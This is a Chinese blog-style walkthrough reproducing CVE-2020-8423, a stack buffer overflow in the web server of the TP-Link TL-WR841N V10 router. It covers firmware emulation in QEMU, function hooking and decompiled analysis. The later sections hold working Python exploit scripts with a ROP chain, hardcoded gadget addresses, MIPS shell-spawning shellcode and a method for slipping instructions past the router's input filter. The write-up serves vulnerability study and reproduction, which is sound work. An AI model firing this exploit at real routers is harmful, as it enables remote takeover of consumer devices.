这个漏洞复现学习到的姿势点挺多的:
- 通过 hook 关键函数修复固件运行环境
- 编写 shellcode 的指令逃逸
简介
漏洞编号:CVE-2020-8423
漏洞描述:httpd获取参数时的栈溢出导致了覆盖返回地址shellcode执行
固件获取
漏洞设备固件版本:TP-LINK TL-WR841N V10 。
国内站点没有 V10 版本固件,美丽国情况一样,换去加拿大站点找到:
https://www.tp-link.com/ca/support/download/tl-wr841n/v10/
这里记录一下国内 tplink 官网上面的固件和国际版本有点区别,binwalk -Me 出来是很多压缩包,用的是 wind river 系统 ,需要进一步处理才能提取到二进制文件。
http://www.tearorca.top/index.php/2020/05/13/tp-link%e4%b8%adwind-river%e7%b3%bb%e7%bb%9f%e8%b7%af%e7%94%b1%e5%99%a8%e5%88%9d%e6%ad%a5%e5%88%86%e6%9e%90%ef%bc%88%e5%8d%8a%e6%88%90%e5%93%81%ef%bc%89/
固件模拟
attify 模拟
测试 attify 能不能仿真而已,与复现初衷不一致,所以没有采用这种方法,最后采用方法在第二小节
试了一下用 attify v3.0 FAT 能成功模拟起来,用 ssh 转发流量就能在主机上设置代理后就能访问到:
ssh -D 7878 [email protected]
SSH流量转发的姿势
burpsuite 访问就在 user options 打开 socks proxy 设置代理 127.0.0.1 7878 ,浏览器代理更换为 brup 。
但复现这个漏洞是为了学习 hook 函数修复固件运行环境,所以还是放弃 FAT 模拟,选择用 qemu 系统模式模拟运行。
qemu 模拟
mips 大端程序,自动到 https://people.debian.org/~aurel32/qemu/mips/
下载内核与磁盘文件。
创建虚拟网卡
1 2
| sudo tunctl -t tap0 sudo ifconfig tap0 192.168.0.2/24 up
|
启动虚拟机
1
| sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
|
设置虚拟机网卡 ip
1
| ifconfig eth0 192.168.0.1/24 up
|
将固件的 squashfs-root
文件夹传输到虚拟机
在虚拟机中挂载 dev
和 proc
1 2
| mount -o bind /dev ./squashfs-root/dev mount -t proc /proc ./squashfs-root/proc
|
启动 shell
启动固件 web 服务
能运行起来,启动后新建了一个 192.168.0.1
的网桥,重新修改 eth0 ip 之后无法访问 web 界面,接下来 hook 函数修复运行环境。
hook 修复运行环境
https://ktln2.org/2020/03/29/exploiting-mips-router/
hook system 和 fork 函数:
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <stdlib.h>
int system(const char *command){ printf("HOOK:system(\"%s\")",command); return 1337; } int fork(void){ return 1337; }
|
编译指令:
1
| mips-linux-gnu-gcc -shared -fPIC hook.c -o hook.so
|
LD_PRELOAD="/hook.so" /usr/bin/httpd
运行起来可能报错缺少 libc.so.6 ,需要在固件 lib 目录将 libc.so.6 连接到对应 so 文件:
复现文章中提到可能还会缺少 ld.so.1 ,复现时没有遇到,如果提示缺少一样链接到对应 so 文件即可
后面换成用 buildroot 的交叉编译链编译的 hook 文件就没有出现这个问题
1 2 3
| //path: /squashfs-root/lib ln -s ld-uClibc-0.9.30.so ld.so.1 ln -s ld-uClibc-0.9.30.so libc.so.6
|
再次运行之后可能会遇到报错 SIGSEGV
,经过排查和其他师傅提到过的可能是 apt 安装的交叉编译链 mips-linux-gnu-gcc
不完善导致编译的 hook.so 有问题。换成用 buildroot 编译安装的 mips-linux-gcc
的 hook 文件,问题解决。
1 2
| //path:~/buildroot/output/host/bin ./mips-linux-gcc -shared -fPIC hook.c -o hook.so
|
1
| LD_PRELOAD="/hook.so" /usr/bin/httpd
|
漏洞分析
问题在 stringModify()
这个函数,这个函数是对 <>\/
符号进行添加转义符 \
的操作;将前一个为\r
或\n
后一个不是 \r
或\n
的字符串替换为 html 的换行 <br>
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| int __fastcall stringModify(_BYTE *dest, int len, int a3) { bool v3; char *v4; int v5; int v6; int v7;
if ( !dest ) return -1; v3 = a3 == 0; v4 = (char *)(a3 + 1); if ( v3 ) return -1; v5 = 0; while ( 1 ) { v7 = *(v4 - 1); if ( !*(v4 - 1) || v5 >= len ) break; if ( v7 == '/' ) goto LABEL_18; if ( v7 >= '0' ) { if ( v7 == '>' || v7 == '\\' ) { LABEL_18: *dest = '\\'; LABEL_19: ++v5; ++dest; } else if ( v7 == '<' ) { *dest = '\\'; goto LABEL_19; } LABEL_20: ++v5; *dest++ = *(v4 - 1); goto LABEL_21; } if ( v7 != '\r' ) { if ( v7 == '"' ) goto LABEL_18; if ( v7 != '\n' ) goto LABEL_20; } v6 = *v4; if ( v6 != '\r' && v6 != '\n' ) { qmemcpy(dest, "<br>", 4); dest += 4; } ++v5; LABEL_21: ++v4; } *dest = 0; return v5; }
|
问题就出在 \r
或\n
的替换逻辑上,原来 1 字节被处理为 4 字节。
交叉引用向上查找到上层函数 writePageParamSet()
,传入 stringModify 用于存放处理结果的是一个 char v8[512]
,是一个栈上的空间,writePageParamSet 是一个非叶子函数,返回地址存放在栈上,存在栈溢出的可能性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
int __fastcall writePageParamSet(int a1, int a2, const char *a3) { int v6; int result; char v8[512];
if ( !a3 ) HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178", "Never Write NULL to page, %s, %d", "writePageParamSet", 178); if ( strcmp(a2, "\"%s\",", a3) ) { result = strcmp(a2, "%d,", v6); if ( !result ) result = httpPrintf(a1, (const char *)a2, *(_DWORD *)a3); } else { if ( stringModify(v8, 512, (int)a3) < 0 ) { printf("string modify error!"); v8[0] = 0; } result = httpPrintf(a1, (const char *)a2, v8); } return result; }
|
writePageParamSet 交叉调用查询上层函数 a3 传入内容是怎么处理。上层函数地址是 0x00457574
,ida 没有分析出来函数,跳转到这个地址,然后快捷键 P 或者右键 create function ,新建函数再 F5 即可。
Sub_00457574 httpGetEnv(a1, “ssid”) 提取出 ssid 存放到 v79 里面:
然后就传递给 writePageParamSet :
验证漏洞
1 2
| export LD_PRELOAD="/hook.so" ./gdbserver 0.0.0.0:2333 /usr/bin/httpd
|
从程序开始调试,gdb 找不到函数,应该是类似 ida 中分析不出来的函数,不知道是不是 hook 之后导致的。调试一直 c 错误提示了很多次都还是进不来 web 界面,最后采用 gdbserver attach 进行调试,因为后台 URL 有个随机路径,需要在 web 端登录后查看
运行 httpd
1
| LD_PRELOAD="/hook.so" /usr/bin/httpd
|
查看进程 PID
获取 url 随机路径
登录账号,获取随机路径,免得 attach 之后调很久才返回 web 界面,cookie 固定没变获取一次就行
不在一个网段的需要 ssh 转发一下流量
ssh -D 7878 192.168.0.1
启动 gdbserver
1
| ./gdbserver 0.0.0.0:1234 --attch 2529
|
验证 URL 字符串替换规则
ssid 先进行 unquote 解码,python request 发送数据再进行编码,这样程序接收到才是我们预期的 \n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests import urllib session = requests.Session() session.verify = False def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie)) } payload = 'a'*0x8+"/%0A"*0x8 params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) } url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("QWKQGMIBVQHESHIB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
|
断点打在 stringModify 调用处:0x0043BC24 ,多 c 几次就到处理 ssid 部分。
/%0A
被转换为 4 字节的 \\/<br>
:
POC
执行后会报段错误,原因是 writePageParamSet 函数返回地址被修改了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import urllib session = requests.Session() session.verify = False def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie)) } payload="/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) } url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("HPAMPJEASUZYOYGB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
|
利用漏洞
获取偏移
为了方便查看在 0x0043BC24
和 0x0043bca8
下断点,前者观察 ssid 传入值是否符合预期,后者观察 writePageParamSet 返回上层函数时的寄存器状态。
填充 "/%0A"*0x55+'aa'
之后,依次可以控制 s0-s02 、ra 寄存器的值。
shellcode 调用框架
之前做 DVRF 记录过,mips 存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
mips 调用 shellcode 构造模板:
https://www.cnblogs.com/hac425/p/9416864.html
https://www.anquanke.com/post/id/179510
整体流程图:
构造的调用 shellcode 框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| base = 0x77471000 sleep_addr = base+0x0053ca0 rop1=base+0x00055c60 rop2=base+0x00037470 rop3=base+0x0000e904 rop4=base+0x000374d8
payload = b"/%0A"*0x55 + b"aa" payload += b"s0s0" payload += p32(rop2) payload += p32(sleep_addr) payload += p32(rop1)
payload += b'a'*0x28 payload += p32(rop4) payload += b'a'*0x4 payload += p32(rop3) payload += b'a'*0x18 payload += shellcode
|
shellcode 改造
程序会对 ssid 输入内容在 stringModify
进行过滤,导致 shellcode 中的 lui
指令的字节码 0x3c(<)
被替换,所以需要对 shellcode 进行改造。
这里用到一个新学的方法指令逃逸 。使用一些无关指令,如填充ori t3,t3,0xff3c指令时,3c 会被编码成 5c3c,那么这时候3c就逃逸到下一个内存空间中,这个 3c 就可以继续使用了(针对于开头为 3c 的汇编指令)。
类似于 DVRF 中,找一个无用寄存器,填充指令 ori $t1,$t1,0xff3c
,对应的汇编机器码:\x35\x29\xFF\x3C
汇编中的 \x3c
进入 stringModify
被替换为 \x5c\x3c
,\x3x
就逃逸到下一个内存空间(mips 指令固定 4 字节)
1 2 3 4 5 6
| \x35\x29\xFF\x3C || || VV \x35\x29\xFF\x5c \x3C
|
在下一个内存空间填充剩下 3 字节组成预期指令。假设预期指令:lui $t6, 0x7a69
,对应汇编:\x3c\x0e\x7a\x69
,那就是填入 \x0e\x7a\x69
1 2 3 4 5 6 7
| \x35\x29\xFF\x3C #ori $t1,$t1,0xff3c \x0e\x7a\x69 || || VV \x35\x29\xFF\x5c #ori $t1,$t1,0xff5c \x3C\x0e\x7a\x69 #lui $t6, 0x7a69
|
shellcode 改造后,注意 payload 长度有没有超过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import requests from pwn import * import urllib session = requests.Session() session.verify = False
context.binary = "./squashfs-root/usr/bin/httpd" context.endian = "big" context.arch = "mips"
base = 0x77471000 sleep_addr = base+0x0053ca0 rop1=base+0x00055c60 rop2=base+0x00037470 rop3=base+0x0000e904 rop4=base+0x000374d8
shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff" shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff" shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4" shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd" shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef" shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff" shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27" shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2" shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff" shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
payload = "/%0A"*0x55 + "aa" payload += "s0s0" payload += p32(rop2) payload += p32(sleep_addr) payload += p32(rop1)
payload += b'a'*0x28 payload += p32(rop4) payload += b'a'*0x4 payload += p32(rop3) payload += b'a'*0x18 payload += shellcode
print(len(payload))
def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie)) } params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.unquote(payload) } url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text) exp("CAFWYCFAVKWYRUKB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
|
qemu 模拟的原因,nc 连上去后运行不了:
参考文章
http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA
https://ktln2.org/2020/03/29/exploiting-mips-router/
https://www.anquanke.com/post/id/203486